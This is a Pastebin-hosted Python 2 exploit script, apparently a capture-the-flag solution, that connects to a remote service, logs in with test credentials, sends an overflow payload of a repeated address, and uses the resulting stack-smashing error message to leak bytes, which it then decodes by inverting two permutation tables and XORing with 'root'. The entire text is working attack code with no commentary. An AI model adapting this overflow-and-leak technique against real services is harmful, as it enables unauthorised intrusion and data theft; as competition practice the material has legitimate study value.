document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. import socket
  2. s = socket.create_connection((\'leaveret.kr\', 10045))
  3.  
  4. print s.recv(10240)
  5. print s.recv(10240)
  6.  
  7. s.send(\'1\\n\')
  8. print s.recv(10240)
  9. s.send(\'test_id\\n\')
  10. print s.recv(10240)
  11. s.send(\'test_pw\\n\')
  12. print s.recv(10240)
  13. print s.recv(10240)
  14. s.send(\'2\\n\')
  15. print s.recv(10240)
  16. print s.recv(10240)
  17. s.send(\'test_id\\n\')
  18. print s.recv(10240)
  19. s.send(\'test_pw\\n\')
  20. print s.recv(10240)
  21.  
  22. print s.recv(10240)
  23. s.send(\'\\xc0\\x43\\x60\\x00\\x00\\x00\\x00\\x00\'*(0x258/8))
  24. print s.recv(10240)
  25. print s.recv(10240)
  26. s.send(\'Logout\\n\')
  27. print s.recv(10240)
  28. print s.recv(10240)
  29. s.send(\'4\\n\')
  30. print s.recv(10240)
  31. data = s.recv(10240)
  32. data = data[data.find("***:")+5:]
  33. data = data[:data.find(" terminated")]
  34.  
  35. pbox2 = [195, 124, 131, 116, 19, 67, 236, 105, 179, 198, 252, 237, 1, 204, 239, 122, 94, 244, 238, 163, 54, 107, 101, 133, 33, 71, 121, 77, 192, 45, 14, 106, 78, 250, 147, 28, 108, 51, 53, 110, 37, 123, 167, 178, 247, 63, 201, 26, 200, 102, 112, 91, 98, 211, 185, 196, 65, 12, 145, 140, 212, 64, 84, 169, 245, 248, 97, 177, 207, 55, 125, 193, 151, 165, 227, 222, 191, 59, 85, 186, 253, 136, 219, 31, 88, 226, 202, 158, 176, 141, 209, 184, 249, 229, 160, 187, 149, 115, 143, 203, 254, 135, 231, 22, 46, 214, 57, 13, 9, 25, 230, 113, 10, 189, 171, 170, 38, 79, 139, 208, 215, 241, 96, 228, 213, 188, 75, 137, 144, 70, 255, 168, 48, 128, 11, 76, 95, 83, 120, 206, 159, 183, 87, 3, 2, 146, 132, 81, 138, 29, 100, 127, 39, 60, 0, 20, 233, 240, 30, 243, 134, 180, 8, 104, 62, 155, 58, 66, 27, 114, 44, 164, 43, 156, 166, 68, 118, 18, 5, 93, 194, 218, 72, 4, 109, 86, 35, 89, 148, 69, 82, 40, 242, 174, 74, 129, 7, 73, 119, 220, 16, 216, 173, 235, 225, 117, 246, 41, 56, 197, 42, 153, 130, 217, 15, 103, 6, 234, 152, 36, 182, 161, 221, 80, 32, 205, 47, 126, 224, 223, 175, 21, 52, 172, 251, 154, 150, 142, 157, 99, 23, 162, 111, 49, 92, 61, 24, 181, 190, 50, 199, 232, 210, 90, 17, 34]
  36. vpbox2 = {}
  37. for i in range(len(pbox2)):
  38.     vpbox2[pbox2[i]] = i
  39.  
  40. data = data[:128]
  41. data = map(lambda x: vpbox2[ord(x)-1], data)
  42. data = data[64:] + data[:64]
  43. pbox1 = [64, 154, 21, 78, 176, 2, 26, 204, 134, 230, 66, 150, 14, 213, 175, 185, 101, 25, 124, 122, 89, 5, 224, 182, 177, 219, 91, 197, 253, 248, 245, 37, 189, 212, 116, 211, 244, 167, 33, 222, 199, 217, 179, 86, 127, 152, 157, 106, 105, 88, 50, 32, 40, 158, 141, 202, 228, 135, 34, 53, 162, 107, 198, 183, 13, 48, 148, 20, 29, 171, 151, 205, 59, 8, 119, 12, 58, 114, 99, 97, 220, 100, 113, 252, 233, 163, 178, 43, 227, 102, 208, 68, 41, 226, 165, 55, 194, 186, 92, 28, 161, 117, 192, 195, 38, 149, 42, 103, 181, 250, 132, 56, 46, 11, 93, 126, 35, 81, 7, 4, 207, 47, 168, 63, 22, 6, 153, 27, 241, 110, 138, 174, 57, 170, 74, 240, 201, 140, 209, 120, 104, 49, 108, 52, 87, 83, 39, 200, 71, 243, 169, 94, 96, 136, 77, 254, 30, 155, 234, 130, 0, 80, 70, 16, 23, 143, 45, 109, 156, 137, 75, 232, 235, 51, 242, 72, 215, 3, 190, 160, 216, 111, 90, 214, 65, 145, 249, 172, 69, 251, 128, 180, 115, 76, 184, 17, 146, 82, 187, 24, 44, 62, 164, 247, 10, 67, 144, 239, 221, 218, 237, 118, 73, 1, 61, 206, 255, 19, 18, 54, 84, 147, 159, 193, 121, 98, 125, 85, 210, 188, 166, 225, 133, 9, 129, 142, 196, 131, 60, 139, 95, 246, 203, 191, 229, 31, 123, 112, 231, 223, 15, 36, 238, 173, 236, 79]
  44. vpbox1 = {}
  45. for i in range(len(pbox1)):
  46.     vpbox1[pbox1[i]] = i
  47. data = map(lambda x: vpbox1[x], data)
  48. data = map(lambda x: x[0] ^ ord(x[1]), zip(data, \'root\' * 64))
  49. print len(data)
  50. print `str(bytearray(data))`
');